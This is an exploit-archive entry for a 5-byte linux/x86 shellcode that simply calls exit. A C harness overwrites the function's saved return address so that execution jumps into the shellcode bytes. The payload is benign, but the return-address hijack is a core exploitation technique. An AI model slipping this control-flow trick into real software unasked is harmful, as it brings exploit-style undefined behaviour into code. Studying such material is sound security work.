Lucene search

K
zdtIzik1337DAY-ID-7142
HistoryJan 21, 2006 - 12:00 a.m.

linux/x86 normal exit w/ random (so to speak) return value 5 bytes

2006-01-2100:00:00
izik
0day.today
12

Exploit for linux/x86 platform in category shellcode

==================================================================
linux/x86 normal exit w/ random (so to speak) return value 5 bytes
==================================================================




/*
 * (linux/x86) normal exit w/ random (so to speak) return value - 5 bytes
 * - izik <[email protected]>
 */

char shellcode[] = 

	"\x31\xc0"              // xor %eax,%eax 
	"\x40"                  // inc %eax 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}




#  0day.today [2018-01-03]  #